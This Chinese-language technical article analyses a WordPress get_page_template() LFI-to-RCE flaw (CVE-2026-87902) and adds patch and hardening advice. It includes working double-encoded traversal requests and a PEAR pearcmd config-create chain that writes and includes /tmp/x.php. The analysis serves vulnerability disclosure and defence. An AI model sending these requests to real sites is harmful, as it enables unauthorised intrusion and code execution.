WordPress get_page_template() 未认证LFI转条件RCE:CVE-2026-87902技术剖析

导语:Nicolas Krassas(Dinosn)近日公开了WordPress核心一处严重漏洞的完整利用链。漏洞编号CVE-2026-87902,对应GitHub Advisory GHSA-7hp8-65ch-5whp。攻击者无需登录,配合双重URL编码即可让 get_page_template() 加载任意 PHP 文件,在 register_argc_argv=On 且 pearcmd.php 可读的环境下还能升级为 RCE。影响范围覆盖 WordPress 4.7.0 至 7.1.1 全部版本,CVSS 4.0 评分 9.2。


一、漏洞概述

CVE-2026-87902 属于 CWE-98(Improper Control of Filename for Include/Require),根因是 wp-includes/template.phpget_page_template() 函数构建模板候选路径时未对用户输入做路径合法性校验。

1.1 受影响范围

项目范围
受影响版本WordPress 4.7.0 – 7.1.1
修复版本7.1.2(含 7.0.6 / 6.9.9 / 6.8.10 / 4.7.37 等分支回移植)
认证要求无(未认证即可利用)
CVSS 4.09.2(AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
利用前置当前主题含 page- 开头的目录(如 page-templates/)
RCE 额外前置PHP 配置 register_argc_argv=On 且 pearcmd.php 可读

1.2 利用条件

要走到 RCE,两个前置缺一不可:

  • 启用主题存在以 page- 开头的目录——Twenty Twelve、Twenty Fourteen、Neve、Hestia、Sydney 等热门主题都满足
  • PHP 环境同时满足 register_argc_argv=Onpearcmd.php 可读——典型情况是 Docker 镜像 wordpress:php8.3-apache

只满足第一个前置时,仍能稳定触发 LFI(本地文件包含),影响虽小于 RCE 但足以读取敏感配置。


二、漏洞原理

2.1 漏洞代码

WordPress 7.1.1 中 get_page_template() 的关键逻辑:

// WordPress 7.1.1(VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {
        // 没有 validate_file() 校验
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}

问题出在 $pagename_decoded !== $pagename 这个分支:一旦传入的 pagename 经过 URL 解码后会变化,就把解码结果拼到模板候选路径里。攻击者只需要让”原始值”和”解码值”不同,就能把任意路径塞进去——validate_file() 本该在这里把关,但被漏掉了。

2.2 修复代码

7.1.2 给这个分支补上了和兄弟分支一致的守卫,外加路径容器校验:

// WordPress 7.1.2(PATCHED)
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// 加 _wp_is_template_path_allowed() 强制解析路径必须落在主题根目录

2.3 双重 URL 编码为何能绕过

get_query_var('pagename') 在 PHP 这一层已经被单次解码了。如果直接发 pagename=../urldecode() 再解一遍结果仍是 ../,攻击分支不会进入。

双重编码能破局:

步骤内容状态
原始 payloadtemplates%252f%252e%252e%252fwp-links-opml第一次解码
PHP 解码后templates%2f%2e%2e%2fwp-links-opml与原始不同,触发漏洞分支
urldecode() 再解templates/../wp-links-opml路径遍历生效

%252e 第一次解码变 %2e,第二次解码才是 .。两个解码层叠在一起,正好绕过单次解码的检查。

双重URL编码路径遍历链

三、利用链详解

3.1 LFI 探测(无破坏)

最稳的探测 Payload 直接包含 WordPress 自带的 wp-links-opml.php

POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml

响应 200 且 body 含 即表示 LFI 触发。

四个 .. 对应深度 4,正好从 page-templates/ 目录穿越回 web 根。Depth 3、5、6、7 都没用——必须正好走出 page 模板目录。

3.2 条件 RCE(深度 7)

如果环境同时满足 register_argc_argv=On 和 pearcmd.php 可读,能升级为 RCE。第一阶段用 PEAR 的 config-create 写入 marker PHP:

POST /?+config-create+/+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd

(+ 是 PHP 把 query string 拆成 argv 的标记。x7 表示连续 7 次 ../ 走出到根目录,再钻进 /usr/local/lib/php/pearcmd。第二阶段把刚写的 marker 包含执行:

POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx

响应 body 会包含 PHP marker 内容 + php_uname() + uid=33(以 www-data 身份执行)。

3.3 利用条件组合

条件LFIRCE
主题有 page- 目录✓ 必须✓ 必须
单次解码绕过✓ 必须✓ 必须
register_argc_argv=On✗ 不需要✓ 必须
pearcmd.php 可读✗ 不需要✓ 必须

实战中 Docker 部署的 WordPress 几乎都满足全部条件,裸金属或 VPS 部署的 LFI 成功率较高,RCE 要看具体 PHP 配置。


四、PoC 工具

Dinosn 在 GitHub 公开了完整的复现实验室 + 扫描器 + PoC,包含:

  1. Docker 复现环境:同机运行 WP 7.1.1(漏洞版)和 7.1.2(修复版),共享 MySQL,只绑定 127.0.0.1 不对外暴露
  2. URL-list 扫描器 cve-2026-87902-scan.py:纯 Python3 标准库实现,无第三方依赖;支持单 URL / 文件批量 / stdin 输入;20 worker 并发;JSON/JSONL 报告输出
  3. OPML oracle 验证脚本 manual-validate.sh:证明漏洞版命中、修复版静默、单次编码失败
  4. RCE 验证脚本 rce-validate.sh:完整 PEAR chain 跑通,uid=33 写入 marker
  5. 场景测试日志 ev-scan-table.logev-scan-results.json:覆盖漏洞版 / 修复版 / 非 WP / 死链四类样本

扫描器输出四种判定:

  • VULNERABLE:OPML oracle 命中,LFI 确认
  • POSSIBLY_VULNERABLE:版本在范围内但 oracle 没响(多半主题目录非标准或 page id 找不到)
  • NOT_VULNERABLE:修复版或版本不在 4.7.0–7.1.1
  • NOT_WORDPRESS / ERROR:非 WP 站点 / 网络失败

退出码也带语义:2 表示至少有一个 VULNERABLE;1 表示只有 POSSIBLY;0 表示全部安全或失败。CI/CD 集成直接用退出码即可。


五、防御方案

5.1 升级修复(最优先)

把 WordPress 升到 7.1.2,或所属分支的修复版本:

  • 7.1 主线 → 7.1.2
  • 7.0 分支 → 7.0.6
  • 6.9 分支 → 6.9.9
  • 6.8 分支 → 6.8.10
  • 4.7 分支 → 4.7.37

5.2 纵深防御

即便打了补丁,建议继续加固:

  • PHP 配置 register_argc_argv=Off(web SAPI)
  • 移除或禁止访问 pearcmd.php
  • WAF 规则:对 pagename 参数做完整 URL 解码后,若含 .. 直接阻断
  • 重点告警:page_idpagename 同时出现,且 pagenametemplates%252f 开头或含 %252e%252e——几乎肯定是攻击信号

5.3 资产排查

国内 WordPress 站众多,建议先用扫描器对自有资产批量扫一轮:

./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

退出码非 0 的目标立刻进入修复流程。


六、附录

官方公告

  • GitHub Security Advisory:https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp

PoC 与复现实验仓库

  • https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab

复现命令

# 拉仓库
git clone https://github.com/dinosn/cve-2026-87902-wordpress-lfi-lab
# 起漏洞版 + 修复版两套 WP
cd cve-2026-87902-wordpress-lfi-lab
./up.sh
# 单 URL 扫描
./cve-2026-87902-scan.py http://127.0.0.1:8091/
# RCE 验证(仅授权目标)
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

CVE 详情

  • CVE-2026-87902(MITRE / NVD 收录后即可查询)

原文推文

  • https://x.com/Dinosn/status/2102629429684105397

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容